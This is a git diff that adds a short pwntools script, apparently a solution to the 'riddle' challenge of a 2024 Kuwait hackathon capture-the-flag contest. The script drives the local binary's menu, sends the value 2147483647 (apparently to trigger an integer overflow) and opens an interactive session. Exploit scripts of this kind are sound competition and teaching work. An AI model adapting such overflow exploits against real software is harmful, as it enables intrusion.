diff --git a/kuwait_hackathon_2024/riddle/a.py b/kuwait_hackathon_2024/riddle/a.py
new file mode 100644
index 0000000..c8bb5e7
--- /dev/null
+++ b/kuwait_hackathon_2024/riddle/a.py
@@ -0,0 +1,17 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./riddle", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendlineafter(b">> ", a)
+ss = lambda a: r.sendlineafter(b": ", a)
+
+# buf
+s(b"1")
+ss(b"2147483647")
+ss(b"1")
+
+r.interactive()
\ No newline at end of file